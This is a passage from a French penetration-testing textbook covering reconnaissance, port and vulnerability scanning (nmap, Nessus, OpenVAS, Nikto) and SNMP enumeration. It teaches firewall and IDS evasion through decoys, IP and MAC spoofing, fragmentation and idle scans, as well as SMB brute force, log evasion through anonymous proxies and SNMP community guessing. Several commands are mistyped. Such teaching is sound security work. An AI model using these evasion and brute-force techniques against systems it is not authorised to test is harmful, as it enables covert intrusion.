On peut ainsi utiliser SecLists avec l’outil Python knockpy en choisissant son dictionnaire :

knockpy domain.com -w <chemin>/Discover/DNS/ subdomains-top1mil-10000.txt

10. Bluto

Bluto est un framework de DNS Information Gathering développé en Python par Darryl Lane
(@darryllane101). Il récupère les informations DNS (sous-domaines, transfert de zone, énumération,
mails, staff...), analyse les métadonnées des documents disponibles et peut utiliser l’API de Email
Hunter pour plus d’informations (inscription sur https://hunter.io/).

Pour l’installer :

sudo pip install git+git://github.com/darryllane/Bluto

Lancement du framework Bluto

Restrict
ed
Les scanners de ports
1. Nmap

Nmap (Network Mapper) est un outil open source d’exploration réseau utilisé dans les audits de
sécurité. C’est une application qui fonctionne sur Linux et Windows et qui se présente comme une
interface avec différentes fonctionnalités paramétrables. Il peut indifféremment scanner un réseau
ou une adresse unique.

Un port peut être ouvert (open), filtré (filtered), fermé (closed) ou non filtré (unfiltered). Il permet le
scan des ports TCP (Transmission Control Protocol) et UDP (User Datagram Protocol).

Le protocole TCP

Le protocole TCP est un protocole orienté connexion, il permet à deux machines de contrôler l’état
de la transmission.

Ses caractéristiques sont les suivantes :

 TCP remet en ordre les datagrammes en provenance du protocole IP.

 TCP vérifie le flot de données pour ne pas saturer le réseau.

 Les données sont formatées en segments de longueur variable afin de les remettre au
protocole IP.

 Il permet le multiplexage des données, les informations provenant de sources


distinctes circulent sur une même ligne.

La connexion TCP est mise en œuvre au travers du threeway hand shake.

Établissement d’une connexion TCP

1 - Demande de connexion. Envoi d’une trame avec le drapeau SYN à 1.

2 - Réponse par envoi d’une trame avec flag ACK à 1 et demande de synchronisation avec SYN à 1.

3 - Envoi d’une trame avec flag ACK à 1.

Établissement d’une connexion TCP

Encapsulation du protocole TCP

 URG : si ce drapeau est à 1, le paquet doit être traité de façon urgente.

 ACK : si ce drapeau est à 1, le paquet est un accusé de réception.

 PSH (PUSH) : si ce drapeau est à 1, le paquet fonctionne suivant la méthode PUSH.

Restrict
ed
 RST : si ce drapeau est à 1, la connexion est réinitialisée.

 SYN : le flag TCP SYN indique une demande d’établissement de connexion.

 FIN : si ce drapeau est à 1, la connexion s’interrompt.

Détails de l’encapsulation TCP

a. Utilisation de nmap

Syntaxe

nmap [Types de scan] [Options] {Spécification des cibles}

 Découverte des machines en ligne et qui répondent au ping (l’option -vv rend nmap plus
bavard) :

nmap -sP 192.168.1.0/24 -vv

 Exclusion d’une liste de machines :

nmap 192.168.1.0/24 --exludefile liste.txt

 Scan à partir d’un fichier avec une liste de scan :

nmap -iL liste.txt

 Scan sans utilisation du ping :

nmap -PN 192.168.1.0/24

 Scan de type SYN (discret, nécessite les droits root) :

nmap -sS 192.168.1.0/24

 Scan UDP :

nmap -sU 192.168.1.0/24

Le scan dit "discret" utilise la technique suivante :

La connexion TCP est initiée normalement (SYN, SYN/ACK), mais est réinitialisée par nmap avant de
passer en mode connecté afin de ne pas être enregistrée par la machine distante.

Scan de type SYN (discret)

Restrict
ed
Exemple de scan discret :

Scan TCP de type discret

Exemple de scan UDP :

Scan de ports UDP

b. Services et protocoles

 Scan des protocoles :

nmap -sO 192.168.1.1

 Découvertes des services :

nmap -sV 192.168.1.1

L’option --version-trace donne plus d’informations. Elle utilise des scripts NSE. Si le service n’est pas
reconnu, on peut soumettre le fingerprint donné par nmap à l’adresse
suivante : https://nmap.org/cgi-bin/submit.cgi

Scan des services (-sO)

Détection de systèmes d’exploitation :

Restrict
ed
 Le système de la machine (l’option --osscan-guess nous donnera une liste d’OS potentiels) :

nmap -O --osscan-guess 192.168.1.1

 Scan plus agressif :

nmap -A 192.168.1.1

Scan de détection des services

c. Évasion de firewall

Une technique d’évasion est de ne pas scanner trop vite. L’option -T[0-5] le permet, 0 étant la plus
lente. Par défaut, nmap est réglé à 3 :

nmap -T2 192.168.1.1.

Le scan SYN étant maintenant facilement détecté par les firewalls et IDS, le scan ACK est souvent
utilisé, car il permet de détecter ces systèmes :

nmap -sA 192.168.1.1

Scan TCP de type ACK

Par rapport au scan ACK, l’option -sW (scan TCP Windows) permet de différencier ports ouverts et
fermés (et non unfiltered), certains systèmes renvoyant une taille de fenêtre positive sur un port
ouvert et une taille nulle sur un port fermé :

nmap -sW 192.168.1.1

Une autre technique d’évasion de firewall est de fragmenter les paquets. L’option -f ou -ff le permet :

nmap -f 192.168.1.1

Restrict
ed
Scan avec fragmentation des paquets

Sur un réseau local, le scan ARP ping est plus rapide qu’un scan en ping classique. De plus, un hôte
(même derrière un firewall) est obligé de répondre à une requête ARP :

nmap -PR 192.168.1.1

On peut également "noyer" son adresse IP parmi d’autres avec l’option decoy (-D) :

nmap -D 192.168.1.3,192.168.1.6,192.168.1.9 192.168.1.1

On peut également usurper une autre adresse IP avec l’option -S (l’option -e sera peut-être
nécessaire pour préciser l’interface réseau à utiliser) :

nmap -e eth0 -S 192.168.1.250 192.168.1.1

L’option decoy (-D) permet de noyer son IP parmi d’autres

On peut aussi usurper une adresse MAC avec l’option --spoof-mac suivie d’une adresse MAC ou du
nom d’un vendeur (Cisco) :

nmap --spoof-mac cisco 192.168.1.1

Une autre technique est de spécifier un port source : certains paramétrages de firewall font
confiance au trafic sur la base du port dont il provient. On utilisera l’option -g et --source-port.

nmap -g 53 192.168.1.1

Usurpation d’une adresse MAC Cisco

Restrict
ed
Nmap permet également de paramétrer le temps entre chaque requête avec l’option --scan delay :

nmap --scan delay 50 ms 192.168.1.1

Modification du délai entre chaque requête nmap

d. Scan en Idle Scan

La technique de scan en Idle Scan consiste à utiliser une machine dite zombie ayant très peu (ou pas)
de trafic (généralement la nuit) pour scanner la cible :

nmap -sI 192.168.1.69 192.168.1.64

On se base alors sur les numéros d’identification IP :

 On envoie un SYN/ACK à la machine zombie qui renvoie l’IPID.

 On envoie ensuite un SYN à la cible en se faisant passer pour le zombie (spoof), la cible
répond par un RST si le port est fermé, le zombie n’incrémente pas son IPID.

 Si le port est ouvert, elle envoie un SYN/ACK, le zombie envoie alors un RST et
incrémente son IPID de 1, la machine d’attaque qui surveille celui-ci verra alors un +2 sur
l’IPID du zombie signifiant que le port de la cible est ouvert
(https://openclassrooms.com/fr/courses/2340511-maitrisez-vos-applications-et-reseaux-tcp-
ip/5678112-scannez-une-machine-avec-lidle-port-scan).

Scan en Idle Scan (source Wikipédia)

Restrict
ed
Le framework Metasploit intègre un module qui permet de découvrir des machines zombies
potentielles sur un réseau (IPID incrémental).

Recherche de machines zombies avec Metasploit

e. Scans avancés : utilisation des scripts nmap (.nse)

Recherche de sous-domaines :

nmap --script dns-brute.nse eni.fr

Recherche de sous-domaines avec nmap

Recherche d’hôtes virtuels sur l’adresse IP :

nmap --script hostmap-bfk.nse nmap.org

Restrict
ed
Recherche d’hôtes virtuels

Force brute sur protocole SMB :

nmap -sV -p 445 --script --smb-brute 192.168.1.16

Liste des imprimantes managées par CUPS :

nmap -p 631 localhost --script cups-info

Lister les imprimantes managées par CUPS

Les scripts NSE sont disponibles sur le site de nmap (https://nmap.org/nsedoc/).

Sous Linux, on les trouve à cet emplacement : /usr/share/nmap/scripts/

Restrict
ed
Les scripts NSE disponibles sur le site de nmap

2. Le scanner de masse Masscan

Masscan est un scanner qui permet de scanner des netblocks sur Internet très rapidement en
précisant les ports recherchés :

sudo masscan 193.50.193.0/24 -p80

On peut le trouver sur GitHub : https://github.com/robertdavidgraham/masscan

Il est natif sur Kali Linux.

Le scanner de masse Masscan

3. Le scanner web Httprint

Httprint est un outil de fingerprinting du serveur web, disponible pour Linux et Windows, créé par
Net-Square sous licence privée, cependant il est disponible gratuitement pour un usage personnel.

S’appuyant sur les caractéristiques du serveur web en question, il peut identifier avec précision sa
version, même si les bannières de réponse peuvent avoir été obfusquées ou si des plugins tels que
mod_security ont été installés. En outre, httprint peut également être utilisé pour détecter certains
appareils sur la toile qui n’ont pas de bannière de réponse (points d’accès sans fil, routeurs,
commutateurs…). On peut également lui passer un fichier d’IP avec l’option -i et lui demander un
rapport dans différents formats (HTML, CSV, XML).

httprint -h x.x.x.x -P0 -s signatures.txt -o httprint.output.html

Le scan est lancé sans ping (-P0) en utilisant un fichier de signatures (-s signatures.txt) et génère un
fichier de résultats au format HTML.

Dans l’exemple ci-après, le fichier httprint.output.html montre qu’un serveur web HP-Chaiserver
version 3.0 tourne derrière le port 80 de l’adresse IP scannée. En fait, nous sommes sur la page
d’administration d’une imprimante réseau.

Rapport du scan httprint sur une adresse IP

4. Dmitry (Deepmagic Information Gathering Tool)

Restrict
ed
Dmitry est une boîte à outils orientée Web. On peut réaliser un whois sur une adresse IP ou un
domaine, chercher des informations annexes comme des sous-domaines ou des comptes mails,
effectuer un scan de port et lire les bannières renvoyées par le système et les services distants :

dmitry -winsepfbo www.hotmail.com

Utilisation de Dmitry, boîte à outils web

Restrict
ed
Frameworks et collecte d’informations
1. Metasploit

Metasploit Framework (intégré à Kali Linux) est un outil pour le développement et l’exécution
d’exploits (logiciels permettant d’exploiter à son profit une vulnérabilité) contre une machine
distante.

Le module auxiliary/gather contient les payloads (charge utile) de collecte d’informations (mails).

Utilisation du module auxiliary/gather de Metasploit

2. Recon-ng

Recon-ng est un framework de collecte d’information web fonctionnant sur le même principe que
Metasploit. Il est implémenté par défaut dans Kali. Il utilise des modules de recherche mails, sous-
domaines, sites web…

Utilisation du framework recon-ng

Comme on peut le constater, peu ou aucun module n’est chargé, il va falloir le faire nous-mêmes en
fonction de nos besoins. La commande marketplace va nous y aider.

Visualisation des modules disponibles

Pour installer le module choisi, rien de plus simple :

marketplace install <nom module>

Certains peuvent avoir besoin d’une clé API (Shodan, Bing...). Il suffit alors de charger la clé
correspondante et de charger ensuite le module.

Restrict
ed
Chargement de la clé API et installation du module choisi

Il faudra ensuite lancer la commande options pour spécifier la cible.

Chargement du module et paramétrage

On peut également créer un espace de travail et le charger, tout ce qu’on cherchera fera partie alors
de cet espace de travail, ce qui sera intéressant quand on utilisera le module de création de rapport
(CSV, JSON, XLSX...).

3. SpiderFoot

SpiderFoot est un outil de prise d’empreinte écrit en Python qui lance un serveur web sur la boucle
locale et le port 5001.

Lancement de SpiderFoot

Il suffit de s’y connecter ensuite avec un navigateur web pour l’utiliser.

Restrict
ed
Utilisation du scanner SpiderFoot sur le domaine ENI

Les scanners de vulnérabilités


1. Nessus : scanner de réseaux

Nessus est un outil de sécurité informatique. Il signale les faiblesses potentielles ou avérées sur les
machines testées.

Il détecte ainsi les éléments suivants :

 Les services vulnérables à des attaques permettant la prise de contrôle de la machine ou


l’accès à des informations sensibles.

 Les mauvaises configurations (relais de messagerie ouverts), les patchs de sécurité non
appliqués, que les failles corrigées soient exploitables ou non dans la configuration testée.

 Les mots de passe par défaut, quelques mots de passe communs, et l’absence de mot de
passe sur certains comptes système. Nessus peut aussi appeler le programme externe Hydra
pour attaquer les mots de passe à l’aide d’un dictionnaire.

 Les services jugés faibles (on suggère par exemple de remplacer Telnet par SSH), les dénis de
service contre la pile TCP/IP.

Nessus se divise en deux parties :

 nessusd, qui est un daemon (service) exécutant les requêtes ainsi que la communication avec
la cible.

 nessus, une application cliente qui récupère les données et affiche le résultat.

Ce découpage est courant, le service fonctionne avec des privilèges élevés (administrateur) alors que
l’interface graphique, plus complexe et vulnérable, s’exécute avec l’identité d’un utilisateur non
privilégié.

Les tests sont joués par des plugins ; quelques-uns sont en C compilé, mais la majorité sont écrites
dans le langage de script NASL (Nessus Attack Scripting Language).

Les différents niveaux d’action possibles sont les suivants :

 Détection des machines vivantes sur le réseau par ping host.nasl.

Restrict
ed
 Scan des ports avec un des quatre scanners internes, ou un scanner externe amap ou nmap
(déconseillé pour des raisons de performances).

 Récupération d’informations :

 Type et version des divers services.

 Connexion (SSH, Telnet ou RSH) pour récupérer la liste des packages installés.

 Attaques simples, peu agressives. Par exemple, déplacement dans les répertoires, test de
relais de messagerie ouverts, etc.

 Attaques susceptibles d’être destructrices :

 Déni de service sur des logiciels.

 Déni de service contre la machine ou les équipements réseau intermédiaires.

Les dernières catégories de tests, plus agressives, peuvent avoir des conséquences désastreuses sur
la disponibilité du système (crash de la machine visée, voire des équipements réseau) et peuvent
être désactivées dans le mode safe checks.

Il existe trois versions de Nessus :

 La version free (home users) limitée à 16 IP.

 La version professionnelle (IP illimitées).

 La version tenable.io qui permet de gérer des scanners Nessus déployés.

Les différentes versions de Nessus

Installation

Avant toute chose, il faut s’enregistrer et demander un code de validation


(https://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code).

Téléchargez le paquet correspondant à votre distribution


(http://www.tenable.com/products/nessus/select-your-operating-system).

Installez celui-ci : dpkg -i Nessus-8.14.0-ubuntu1110 amd64.deb (sous Ubuntu).

Sélection de la version désirée de Nessus

Une fois installé, il reste quelques étapes. Si Nessus n’est pas démarré, il faut le lancer.

Sur Ubuntu :

sudo service nessusd start

Lancez le navigateur sur la boucle locale : https://localhost:8834.

Déclarez un mot de passe et entrez le code de validation fourni à l’enregistrement.

Restrict
ed
Configuration initiale de Nessus

Après avoir entré le couple login/mot de passe à l’écran d’accès, vous arrivez sur l’écran d’accueil qui
propose par défaut différents types de scans prédéfinis ou la possibilité de personnaliser votre scan.

Écran d’accueil de Nessus

Vous pouvez configurer Nessus en cliquant sur Paramètres. Par exemple, l’envoi de mail de
notification des scans.

Configuration de Nessus : notification des scans

Pour lancer un scan, choisissez l’onglet Scans puis New scan. Choisissez parmi les modèles
(templates) de politiques (policies) de scan proposés ou vous pouvez aussi définir une nouvelle
politique de scan dans l’onglet Policies (par exemple Basic Network Scan).

Nessus - Choix du scanner

Vous pouvez alors paramétrer le scan et le nommer, lui indiquer où stocker les résultats, la cible (IP,
plage IP, classe IP...), le planifier...

Il est aussi possible de déclarer un e-mail pour la notification, choisir le nombre de ports et
customiser complètement le scan.

Paramétrage du scan

Une fois le scan fini, cliquez sur celui-ci pour afficher les résultats.

Pour obtenir plus de renseignements sur une adresse IP scannée, cliquez sur celle-ci et vous accédez
à un rapport détaillé. Vous constaterez au passage que Nessus classe les failles découvertes par
criticité.

Résultats du scan

À nouveau, il vous est possible d’obtenir des informations détaillées en cliquant sur la vulnérabilité
découverte par Nessus.

Détails des vulnérabilités ou informations découvertes

Nessus permet également de générer un rapport sous différents formats (PDF, HTML, CSV).

Nessus Essentials est malheureusement limité à 16 adresses IP, il faut passer à la


version professionnelle pour avoir plus de fonctionnalités.

2. OpenVAS : scanner de réseaux open source

Restrict
ed
Nessus ayant, comme c’est souvent le cas, basculé en mode propriétaire dès la version 3.0,
un fork (branche dérivée) basé sur la version 2.2 de Nessus a rapidement vu le jour : OpenVAS.

OpenVAS s’appuie sur un ensemble de vulnérabilités connues des NVT (Network Vulnerability Tests)
dont la liste est maintenue et mise à jour par GreenBone (https://www.greenbone.net/en/).

OpenVAS est disponible dans les paquets Kali Linux et installable avec le gestionnaire apt.

Pour ceux qui voudraient essayer OpenVAS sans l’installer, une machine virtuelle est disponible en
mode test pour 14 jours ici : https://www.greenbone.net/en/testnow/

Durant l’installation, OpenVAS va créer une clé de chiffrement et aura besoin pour cela de données
aléatoires générées, il faudra donc vous assurer que le service havaged s’exécute bien sur votre
machine.

ps aux | grep -i have

Vérification de la présence de havaged

Il faut ensuite installer les paquets pour OpenVAS avec la commande :

sudo apt install openvas

Installation d’OpenVAS

Pour des raisons de marketing, le script d’installation openvas-setup a été renommé en gvm-setup
(Greenbone Vulnerability Manager). OpenVAS reste malgré tout open source. On lance le script
d’installation :

sudo gvm-setup

gvm-setup va configurer la base de données PostgreSQL, créer l’utilisateur admin et télécharger ce


dont il a besoin. Attention à bien noter le mot de passe donné à la fin de l’installation.

Restrict
ed
Lancement du script gvm-setup

Vous pouvez vérifier l’installation avec le script suivant :

gvm-chrck-setup

Il est important pour un scanner de sécurité de maintenir sa base de vulnérabilités à jour. Le script
suivant est disponible à cet effet :

gvm-feed-update

Mise à jour des flux de sécurité

OpenVAS est maintenant installé, il ne vous reste plus qu’à vous connecter à l’adresse suivante avec
l’utilisateur admin et le mot de passe donné à l’installation : https://127.0.0.1:9392

Écran d’accueil OpenVAS

Lancement d’un scan par défaut

Pour lancer et paramétrer un scan, il suffit de cliquer sur l’onglet Scan et ensuite sur l’icône en haut à
gauche (New scan) de la fenêtre qui s’ouvre puis de paramétrer le type de scan et la ou les cibles de
celui-ci (scan de base, avancé, cible, fichier de cibles, port, protocole, brute force...).

Paramétrage du scan

Il suffit ensuite de lancer le scan en cliquant sur l’icône Start en bas à droite.

Lancement du scan

En cliquant sur le scan effectué, on visualise alors les résultats, que l’on peut exporter en différents
formats (XML, PDF, TXT, CSV...).

Résultats du scan

Restrict
ed
Il est possible de configurer les éléments du scan avant de créer celui-ci. L’onglet Configuration vous
permet de configurer vos cibles, les ports à scanner, les types de scans (modèles ou personnalisés), la
planification...

3. Nikto : scanner de vulnérabilités web

Nikto est un scanner de vulnérabilités web open source (GPL) développé en Perl qui effectue des
tests complets contre les serveurs web. Il teste plus de 3500 fichiers potentiellement dangereux. Il
permet de tester un serveur web rapidement et est implémenté dans Kali-rolling (version 2.1.6).

Utilisation :

nikto options [IP ou host]

Tapez nikto -H pour l’aide complète en ligne et -h pour l’aide de base.

Lancement de Nikto

Pour scanner un hôte, lancez la commande :

nikto -h IP-evasion 1

Nikto étant facilement repérable dans les logs, nous utilisons l’option -evasion 1.

Scan Nikto 2.1.6

On peut également demander à Nikto de passer par un proxy anonyme. Une liste (à vérifier) de
proxies anonymes est disponible à l’adresse suivante : https://multiproxy.org/anon_proxy.htm

Il faudra pour cela signifier à Nikto de passer par le proxy choisi (-useproxy) et modifier le fichier
nikto.conf.

Utilisation d’un proxy anonyme

Restrict
ed
Faraday : IPE (Integrated Penetration- Test Environment)
Faraday est ce que l’on appelle un environnement intégré de test de pénétration. Il est de type open-
core (cohabitation d’une édition Entreprise et d’une édition Communautaire).

Il est développé pour distribuer, répertorier et analyser les données générées lors d’un test de
pénétration.

Il permet via différents plugins de récupérer les résultats des analyses de vos outils de pentest.

Il existe trois types de plugins dans Faraday :

 Le plus facile à utiliser est le plugin console qui permet de taper vos commandes
préférées dans le terminal spécifique de faraday et de récupérer les résultats dans l’interface
web.

 Vient ensuite le plugin rapport qui vous permet de récupérer le contenu de rapports générés
par certains outils.

 Et pour finir, les plugins API encore appelés "plugins en ligne" qui permettent soit d’accéder à
l’API de Faraday, soit à Faraday de se connecter à des API et bases de données.

La liste des outils compatibles avec Faraday : https://github.com/infobyte/faraday/wiki/Plugin-List

Faraday est intégré dans la dernière distribution Kali 2021. Pour le lancer, il suffit de cliquer
sur Faraday IDE Start dans le menu Rapport de Kali Linux.

Faraday sera alors lancé sur localhost:5985 et on vous demandera de vous connecter à l’interface
web (noter le user "faraday" par défaut et le mot de passe fourni).

Interface de connexion Faraday

L’interface web se lance sur le dashboard, et en cliquant sur New, on crée un nouveau projet.

Création d’un espace de travail

Pour utiliser le plugin console, il faut lancer le client faraday en mode console et choisir l’espace de
travail sur lequel vous voulez vous connecter :

faraday-client

Client faraday

Espace de travail

On peut ensuite lancer ses applications préférées en ligne de commande sans s’occuper des résultats
qui seront enregistrés dans l’interface web (plusieurs instances de consoles peuvent être lancées).

Lancement du script dnsenum dans la console Faraday

Restrict
ed
On peut visualiser le résultat dans l’interface web.

Résultats enregistrés dans l’interface web

On peut également voir les opérations réalisées sur une IP particulière en cliquant sur celle-ci.

Détails du scan d’une IP avec nmap

On peut également importer un rapport d’application en cliquant sur l’icône dossier en haut à
gauche de l’écran. La liste des applications compatibles est impressionnante (environ 70).

Plugin d’import de rapport

Pour les API et les plugins, deux sites sont à connaître :

https://github.com/infobyte/faraday/wiki/Plugin-List

https://api.faradaysec.com/

Faraday est un outil multi-users très intéressant en termes d’intégration, il faut juste déplorer le fait
de ne pas pouvoir générer un rapport dans la version Communautaire, ce qui est dommage car c’est
ce qui fait l’intérêt de cet outil.

Restrict
ed
TL-OSINT : une machine virtuelle pour l’OSINT
Pour ceux qui ne veulent pas installer les outils un à un, l’équipe de Trace Labs a implémenté une VM
OSINT qui rassemble les outils OSINT les plus efficaces et de nombreux scripts personnalisés. La VM
est basée sur une version modifiée de la célèbre distribution Kali-Linux. On peut la télécharger
ici : https://www.tracelabs.org/initiatives/osint-vm

Un guide d’installation est également disponible à cette


adresse : https://download.tracelabs.org/Trace-Labs-OSINT-VM-Installation-Guide-v2.pdf

La machine virtuelle OSINT de chez Trace Labs

Le menu Open Source Intelligence contient de nombreux outils qui vous seront très utiles dans vos
recherches.

Les outils de recherche de TL-OSINT 2021

Restrict
ed
Le protocole SNMP (Simple Network Management Protocol)
SNMP, proposé par l’IETF (Internet Engineering Task Force), est actuellement le protocole le plus
utilisé pour la gestion des équipements réseau.

Switches, hubs, routeurs et serveurs sont des exemples d’équipements contenant des
objets manageables. Ces objets sont des informations matérielles ainsi que des paramètres
directement liés au comportement de l’équipement en question.

Ces objets sont classés dans une base de données appelée MIB (Management Information Base).

SNMP permet le dialogue entre le superviseur et les agents installés sur les périphériques afin de
recueillir les objets souhaités dans la MIB.

Au travers de SNMP, il est possible d’obtenir des informations concernant les éléments suivants :

 Les profils hardware et software.

 Les données dynamiques en temps réel.

 La topologie du réseau.

 Les données administratives.

 Les données statiques définies manuellement.

Au travers de SNMP, il est donc possible de modifier les paramètres administratifs.

L’accès aux variables est protégé par un community name. On distinguera donc la station de
supervision (manager), les éléments actifs du réseau (agents), les variables MIB et un protocole
(UDP).

La station de travail utilise le port 162 en UDP pour recevoir les alertes des agents, les agents utilisent
eux le port 161.

Pour voir si un équipement utilise SNMP, on peut utiliser nmap :

nmap -sU -p 161,162

Scan nmap des ports SNMP 161 et 162

1. Les requêtes SNMP

Il existe quatre types de requêtes :

 GetRequest permet la recherche d’une variable sur un agent.

 GetNextRequest permet la recherche de la variable suivante.

 GetBulk permet la recherche d’un ensemble de variables regroupées.

 SetRequest permet de changer la valeur d’une variable sur un agent.

Restrict
ed
2. Les réponses SNMP

À la suite de requêtes, l’agent répond toujours par GetResponse. Toutefois, si la variable demandée
n’est pas disponible, GetResponse sera accompagné d’une erreur noSuchObject.

3. Les alertes SNMP (traps, notifications)

Les alertes sont envoyées quand un événement non attendu se produit sur l’agent. Celui-ci en
informe la station de supervision via une trap. Les alertes possibles sont les suivantes :

 ColdStart

 WarmStart

 LinkDown

 LinkUp

 AuthenticationFailure

4. La MIB

La MIB (Management Information Base) est la base de données des informations de


gestion maintenue par l’agent que va consulter le manager. Une des MIB les plus connues est la MIB-
II, décrite dans le RFC 1213, et qui est mise en œuvre dans quasiment tous les équipements TCP/IP.
Un fichier MIB décrit les variables, les tables et les alarmes gérées au sein d’une MIB. On peut
représenter la MIB comme une structure arborescente dont chaque nœud est défini par un nombre
que l’on appelle OID (Object Identifier).

Pour interroger les différentes variables d’activité il faudra explorer la MIB via les numéros repérant
chaque niveau hiérarchique, par exemple 1.3 pour ORG.

Exemple de structuration d’une MIB

5. Les outils SNMP

Les outils d’interrogation de la MIB sont installés sous Kali-rolling. Sous Debian, il est très facile de les
installer avec la commande suivante :

apt-get install snmp

Restrict
ed
Il est également utile de récupérer le paquet snmp-mibs-downloader. Il récupère les MIB référencées
IANA, IETF et NETSNMP.

La suite d’outils SNMP

6. SNMP et la sécurité

La sécurité n’a pas toujours été intégrée dans le protocole SNMP. Les droits d’accès sont gérés par ce
qu’on appelle les communautés. Un nom de communauté SNMP est une clé partagée entre la station
de gestion SNMP et le périphérique (routeur, switch..). Les versions SNMP v1 et 2 n’ont pas de
mécanisme adéquat pour la sécurité des fonctions de gestion. La communauté est de type public par
défaut.

La version 3 inclut la sécurité des transactions. Les transactions sont cryptées et le contrôle d’accès à
la MIB est assuré par le VACM (View Access Control Model). On peut ainsi restreindre l’accès à la MIB
en lecture/écriture pour un groupe ou un utilisateur.

Un lien où trouver certaines MIB : http://www.oidview.com/mibs/detail.html

7. L’outil snmpwalk

L’outil snmpwalk de la suite snmp permet de lister le contenu de la MIB quand celle-ci est de type
public :

snmpwalk -c public -v1 "adresse ip" 1

Lister le contenu de la MIB avec snmpwalk

On peut être plus précis dans la requête et lui préciser une partie spécifique de la
structure arborescente de la MIB quand on connaît celle-ci pour cibler par exemple les users, les
services, les logiciels installés...

Restrict
ed
Listing des users dans la MIB

8. L’outil snmpcheck

D’autres outils comme snmpcheck, disponible sur Kali, permettent le scan de périphériques réseau
avec une meilleure lisibilité.

Outil snmpcheck

9. Onesixtyone : recherche des communautés SNMP

Onesixtyone est un outil qui, à partir ou non d’un dictionnaire, permet de chercher les noms de
communautés déclarées sur un périphérique utilisant les protocoles SNMP V1 et 2.

Recherche de communautés avec onesixtyone

10. Quelques règles de sécurité

Restrict
ed
La première des règles à appliquer est de désactiver le service SNMP si celui-ci n’est pas nécessaire
(service parfois activé par défaut sur certains équipements).

On pourra également filtrer le trafic SNMP des hôtes internes non autorisés, changer le nom de la
communauté par défaut ou isoler le trafic SNMP sur un autre réseau.

Autres outils et liens :

 Scotty, BTT Software, SNMP Trap Watcher, braa

 http://ram-0000.developpez.com/tutoriels/reseau/SNMP/

 http://ram-0000.developpez.com/tutoriels/reseau/Net-SNMP-1/

 http://ram-0000.developpez.com/tutoriels/reseau/Net-SNMP-2/

Restrict
ed
Le reporting
Au cours d’une prise d’empreinte, nous récupérons une foule de renseignements qu’il va falloir
enregistrer et classer. Dans le cas d’un audit, cette collecte d’informations ne représente qu’une
partie de celui-ci et nous avons très vite besoin d’un outil qui nous facilite la tâche.

Dradis est un framework open source qui permet un recensement et un partage efficace
d’informations.

C’est une application web (client-serveur) indépendante qui met à disposition un espace de partage
centralisé permettant de garder une trace des tests effectués. On peut y adjoindre des notes, des
documents, tout ce qui peut concerner un audit.

On peut également trouver énormément de plugins pour Dradis comme les plugins Nmap, Nessus ou
Nikto qui mettent en forme les rapports générés par ceux-ci.

Dradis possède les fonctions suivantes :

 Génération simple de rapports.

 Gestion des pièces jointes.

 Intégration avec certains outils et systèmes existants (plugins serveur).

 Multiportabilité.

Dradis fonctionne sous Linux et Windows, nous pouvons télécharger sur son site la version
communautaire (https://dradisframework.com/ce/) ainsi que toute la documentation nécessaire à
son installation.

L’outil de reporting Dradis

Sites indexant de nombreux outils et guides OSINT


Les deux sites suivants répertorient énormément d’outils (graphiques et en ligne de commande) qui
vous permettront d’affiner vos recherches. Le premier se présente sous la forme d’une carte mentale
(Mind Map) et vous donne le lien de l’outil indexé, le second vous proposera les outils et des
méthodologies de recherche.

https://osintframework.com/

Il est possible de l’installer sur sa machine : https://github.com/lockfale/OSINT-Framework

Vous trouverez un autre site très intéressant ici : https://gijn.org/outils-de-recherche-en-ligne/

Restrict
ed
Les failles systèmes
Généralités
Les systèmes d’exploitation sont de plus en plus sophistiqués et de plus en plus simples du point de
vue utilisateur. Les mécanismes sous-jacents, parfois très compliqués, sont masqués afin de faciliter
l’accès à l’outil informatique au plus grand nombre. Malheureusement, cette "simplification" est
souvent réalisée au détriment de la sécurité et des performances.

Même si depuis quelques années les concepteurs, conscients des enjeux liés à la sécurité et à la
protection des données, essaient d’améliorer leurs applications, les utilisateurs, quant à eux, restent
généralement le maillon faible. Mal formés ou informés, peu habitués aux contraintes de sécurité,
comme la confirmation ou la saisie de mot de passe, ils préfèrent souvent désactiver les protections
mises en place ou ignorer les messages d’avertissement. C’est ainsi que, combinées avec un accès à
Internet permanent, bon nombre de machines d’utilisateurs lambda sont transformées en machines
zombies et utilisées pour réaliser des attaques dont l’ampleur et la dissimulation sont
proportionnelles au nombre de machines utilisées.

Mais le constat ne s’arrête pas là : à l’origine simple assemblage d’électronique, les éléments de
notre quotidien comme les téléphones mobiles, les réfrigérateurs, les téléviseurs, les caméras...
embarquent désormais des systèmes d’exploitation à part entière qui peuvent être modifiés. De plus,
à l’heure du tout communiquant, ces matériels constituent des risques supplémentaires, dont les
issues peuvent être critiques : l’alarme de la maison désactivable depuis Internet en est l’exemple
évident.

Voyons dans cette partie du livre quelques faiblesses de ces systèmes, comment les exploiter, mais
surtout comment s’en protéger.

Restrict
ed
Les failles physiques
1. Introduction

Souvent, la sécurisation des accès aux matériels informatiques n’est pas une priorité pour les
entreprises ou les administrations. Pour s’en convaincre, il suffit de faire le test et de voir avec quelle
facilité, sous un prétexte quelconque, une personne étrangère à un service peut souvent accéder aux
ordinateurs ou aux autres ressources informatiques du personnel.

En effet, autant les accès aux serveurs, aux routeurs et aux autres matériels
d’administration informatique sont, dans les moyennes ou grandes entreprises, sous clé dans une
salle spécialisée, autant les ordinateurs d’exploitation ou administratifs sont relativement
accessibles.

Quand la question sur l’accès au matériel est posée au personnel, celui-ci relativise généralement le
problème et répond qu’il n’a, par exemple, pas accès à des informations confidentielles, que
l’entreprise fonctionne comme cela depuis des années et qu’elle n’a jamais connu le moindre
problème. Quelquefois même la question est éludée sous prétexte que jamais aucune information
ou même formation n’a été dispensée.

Dans les petites sociétés, les ordinateurs sont souvent très accessibles et un même compte
utilisateur est souvent utilisé par tous avec un seul mot de passe (quand il y en a un !).

Or, l’accès physique (même restreint) à un ordinateur peut avoir des conséquences désastreuses
pour une entreprise.

2. Lockpicking

On ne peut pas parler d’accès physique à un ordinateur sans parler du lockpicking


(http://www.lockpickingfrance.org/), ou crochetage de serrure en français.

On trouvera de nombreux sites expliquant toutes les techniques utilisables ainsi que les outils
nécessaires. Ceux-ci peuvent être fabriqués artisanalement ou achetés sur Internet.

3. Accès physique direct à l’ordinateur

Deux cas de figure sont possibles lors d’un accès physique à une machine :

 L’ordinateur est éteint.

 L’ordinateur est allumé.

a. Accès à un ordinateur éteint dont le BIOS est protégé

Anciennement, certains BIOS comme les BIOS Award antérieurs à la version 4.51 disposaient de mot
de passe universel permettant un accès direct au BIOS, et des listes contenant lesdits mots de passe
étaient disponibles sur Internet.

